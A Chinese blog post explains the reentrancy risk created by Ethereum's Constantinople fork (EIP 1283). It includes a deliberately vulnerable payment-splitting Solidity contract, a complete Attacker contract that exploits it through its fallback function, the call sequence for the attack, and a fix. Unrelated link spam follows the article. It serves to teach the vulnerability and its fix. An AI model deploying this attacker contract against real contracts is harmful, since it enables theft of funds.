目录

  • 君士坦丁堡分叉引起的安全问题

    • 一. 什么是君士坦丁堡分叉
    • 二. 一个重入合约
    • 三. 一份尝试攻击的合约
    • 四. 组合调用
      • 分叉之前
      • 分叉之后
      • 调用顺序
    • 五. 如何解决

君士坦丁堡分叉引起的安全问题

一. 什么是君士坦丁堡分叉

君士坦丁堡是最近以太坊的大事,主要做了一下改进

  • EIP 145:由两位以太坊开发人员Alex Beregszaszi 和 Pawel Bylica编写的技术升级,EIP 145详细描述了一种更有效的以太坊信息处理方案,其称为逐位移动(bitwise shifting);
  • EIP 1052:由以太坊core开发人员Nick Johnson和Bylica所撰写,1052提供了一种优化以太坊网络大规模代码执行的方法。
  • EIP 1283:由Johnson撰写,其基于EIP 1087,这一提议主要了引入了一种针对数据存储更改更公平的定价方法,这可以让智能合约开发者受益。
  • EIP 1014:由以太坊创始人Vitalik Buterin亲自创建,此升级的目的是更好地促进基于状态通道和链外(off-chain)交易的扩容解决方案。
  • EIP 1234:由以太坊主要客户端 Parity发布经理 Afri Schoedon所倡导,这也是以太坊此次升级中最具争议的部分,它会使以太坊网络的区块奖励从3ETH减少到2ETH,此外还会延迟难度炸弹12个月的时间。

其中EIP 1283 最重要的改动就是对于修改合约内容更加便宜了,原来修改非0内容的地址需要5000gas,现在只需要200gas.
具体意思就是

//第一次写入
Contract.A=300 //花费20000gas
//第二次写入
Contract.A=500 //花费5000gas,如果是君士坦丁堡分叉以后只有200gas.

这对于DAPP而言肯定是好事,降低了DAPP的成本.但是意外却引入了安全风险.

二. 一个重入合约

一份双方协调分成的合约,简化起见,里面很多安全问题没检查,比如updateSplit应该只能参与双方更新.

//PaymentSharer.sol
pragma solidity ^0.5.0;contract PaymentSharer {mapping(uint => uint) splits;mapping(uint => uint) deposits;mapping(uint => address payable) first;mapping(uint => address payable) second;function init(uint id, address payable _first, address payable _second) public {require(first[id] == address(0) && second[id] == address(0));require(first[id] == address(0) && second[id] == address(0));first[id] = _first;second[id] = _second;}function deposit(uint id) public payable {deposits[id] += msg.value;}function updateSplit(uint id, uint split) public {require(split <= 100);splits[id] = split;}function splitFunds(uint id) public {// Here would be: // Signatures that both parties agree with this split// Splitaddress payable a = first[id];address payable b = second[id];uint depo = deposits[id];deposits[id] = 0;a.transfer(depo * splits[id] / 100); //transfer 给2100 gas执行事务b.transfer(depo * (100 - splits[id]) / 100);}
}

双方协商一致,调用updateSplit,定下各自应得多少比例.然后就可以调用splitFunds,分别拿走各自的ether.
这在君士坦丁堡分叉之前,是非常安全的.

三. 一份尝试攻击的合约

pragma solidity ^0.5.0;import "./PaymentSharer.sol";contract Attacker {address private victim;address payable owner;constructor() public {owner = msg.sender;}function attack(address a) external {victim = a;PaymentSharer x = PaymentSharer(a);x.updateSplit(0, 100);x.splitFunds(0);}function () payable external {PaymentSharer x = PaymentSharer(victim);x.updateSplit(0,0); //修改split,这样下b.transfer就不再是transfer 0,达到双倍收益.}//从合约中拿走全部etherfunction drain() external {owner.transfer(address(this).balance);}
}

四. 组合调用

    1. PaymentSharer.init(0,Attacker,anotherAddressOfAttacker)
    1. PaymentSharer.deposit(0) value=1ether
    1. Attacker.attack(PaymentSharer)

最关键的是第三步的调用顺序:
attack-->updateSplit-->attack--->splitFunds(a全得,b没有)--->a.transfer--->Attacker's fallback--->updateSplit(a没有,b全得)-->b.transfer

最终a,b(Attacker和anotherAddressOfAttacker)各拿了一份完整的是后入,而不是预想的只有拿走全部.

分叉之前

合约中调用transfer函数的gas是固定的,只能是2300,无法改动. 而Attacker's fallback 函数中调用updateSplit, 其中 splits[id] = split;这一句话就会消耗5000gas,因此attack这个Tx会失败.

分叉之后

splits[id] = split;只会消耗gas200,因此有足够的gas来执行updateSplit, 所以a.transfer会成功,然后b.transfer自然也会成功.

调用顺序

五. 如何解决

针对这个问题解决起来非常简单.下面就是一种修正方法.

function splitFunds(uint id) public {// Here would be: // Signatures that both parties agree with this split// Splitaddress payable a = first[id];address payable b = second[id];uint depo = deposits[id];deposits[id] = 0;uint s=splits[id];a.transfer(depo * s / 100); //transfer 给2100 gas执行事务b.transfer(depo * (100 - s) / 100);}

这样就算是Attacker有了重入的机会,可以执行代码,也不会有任何额外收益. 应该说合约的设计者已经考虑到a.transfer的重入问题,先修改了deposits[id],而不是放在transfer之后,但是仍然百密一疏.

合约一旦发布就无法修改,但是EVM规则却可以通过分叉修改,可以解决以后的问题,但是却不能修复已经发布的合约.

本来参考了一下文章
Constantinople enables new Reentrancy Attack

转载于:https://www.cnblogs.com/baizx/p/10290049.html

君士坦丁堡分叉引起的安全问题相关推荐

  1. 全球区块链第9周看点 | 以太坊君士坦丁堡/圣彼得堡硬分叉正式完成;纳斯达克正式上线BTC和ETH指数...

    TokenInsight整理了区块链行业在交易所.项目治理.通用平台.稳定币.隐私.游戏等方面发生的大事件,并对此进行了点评. 本周市场数据 针对本周(2019 年 2 月 23 日至 2019 年 ...

  2. Ethereum 君士坦丁堡安全漏洞对 FOD 的影响

    FOD 与 Ethereum 的前世今生 FOD 是 FIBOS 生态中的稳定币,与 USDC 1:1 锚定,其服务于需要稳定价值衡量的应用场景.FOD 通过跨链网关将 ETH 链上的 USDC 与 ...

  3. 君士坦丁堡升级要点详解

    明天即将迎来以太坊的升级--君士坦丁堡升级,这里记录一下升级内容(要点) 1,"君士坦丁堡"是什么? 君士坦丁堡是以太坊四个发展阶段中的第三阶段中的第二个子阶段.以太坊四个阶段非别 ...

  4. 以太坊君士坦丁堡:是利好?-千氪

    以太坊官方发文提醒硬分叉注意事项:分叉时间预计在1月16日,区块高度在7080000.并强调,此次硬分叉就像Office软件升级一样,会出现一些兼容类的问题,节点需要全部更新升级. 此次更新是无争议的 ...

  5. 文明与征服君士坦丁阵容搭配推荐 文明与征服君士坦丁攻略

    这里面虽然君士坦丁大家都认为很强,但是他是个肉坦,在输出方面会有所欠缺,所以很多人不喜欢玩,但是越到后面就越能了解到这个角色的重要性.因为纯爆发的越到后面越不好打,好不容易打过了自己损失也大,而以君士 ...

  6. 以太坊系列 - 以太坊硬分叉和升级足迹

    以太坊系列 - 以太坊硬分叉和升级足迹 Olympic | 2015 年 5 月 9 日 以太坊区块链于 2015 年7 月正式公开上线.而在这之前的临门一脚是 Olympic--第 9 个也是最后一 ...

  7. 万向区块链蜂巢学院 | 关于ETH2.0路线图,搞研究的大脑在想什么?

    以太坊2.0是2020年区块链行业最火热的话题之一.万向区块链蜂巢学院线上公开课第42期,邀请了以太坊爱好者社区负责人阿剑.链闻研究总监潘致雄.MYKEY研究部门负责人姚翔.HashKey Capit ...

  8. 你了解V神吗?先吃透这份不能更全的《以太坊攻略》再说!

    本文来自Odaily星球日报,作者秦晓峰,公众号Odaily(ID:o-daily),经作者授权转载 从 2008 年诞生以来,区块链走过了十多年的风雨路,繁衍出比特币.以太坊.EOS 等诸多公有链. ...

  9. 区块链学习笔记之三术语速查

    术语概念 账户(Account):Account是一个对象,它包含地址.余额.nonce,并且存储了状态和代码,而状态和代码接可以为空.Account可以是合约Account或者EOA(外部账户). ...

最新文章

  1. IDT系列:(一)初探IDT,Interrupt Descriptor Table,中断描述符表
  2. SAP SuccessFactor学习中心的通知机制
  3. 几个冷门字符串算法的学习笔记(最小表示法,exKMP,Lyndon Word)
  4. 阿里云再发两款混合云一体机 ,企业全面上云就像上车一样简单
  5. java统计空格代码_java算法大全之统计出其中英文字母、空格、数字和其它字符的个数...
  6. 苹果平板爱思助手检验安兔兔
  7. C64x EDMA Architecture
  8. 计算机组成原理实验二八位寄存器,计算机组成原理课后参考答案
  9. [CGAL]建立一个正四面体
  10. Linux自启进程管理工具,Linux进程管理工具--God-详解(1)-入门
  11. 能力与素养恬阔与平时,欣赏与 Offer 展露在未来!
  12. 假事务之名,深入研究UNDO与REDO
  13. 一文看懂ArrayList的自动扩容
  14. 安卓开发环境的搭建(安卓app开发流程)
  15. idea的安装及基础设置
  16. 教育行业数据可视化应用方案与实践
  17. python cgi
  18. EasyExcel对列同类项进行单元格合并
  19. COI2016 Palinilap(manacher+后缀数组)
  20. iOS 抖音插件 抖音直播红包插件 抖音直播红包采集 抖音直播红包自动领取 抖音hook Tweak 源码

热门文章

  1. 操作系统之银行家算法—详解流程及案例数据
  2. codeforces 496 div3(A-E1)(JAVA)
  3. 数据结构 线性存储 -- 栈 讲解
  4. 上海11月份计算机方面的会议,计算机类 | 10月截稿会议信息6条
  5. c语言程序结果 856400,C语言程序设计答案(黄保和编)第3章.pdf
  6. cadence安装完怎么打开_Linux 环境下Vivado与Cadence仿真工具联合仿真环境的搭建
  7. 云原生体系下 Serverless 弹性探索与实践
  8. 阿里巴巴研究员叔同:云原生是企业数字创新的最短路径
  9. 阿里云容器服务入选云原生边缘「领导力企业TOP3」,推动「原生云边」基础设施标准建立
  10. 企业级 CICD 工具部署 Serverless 应用的落地实践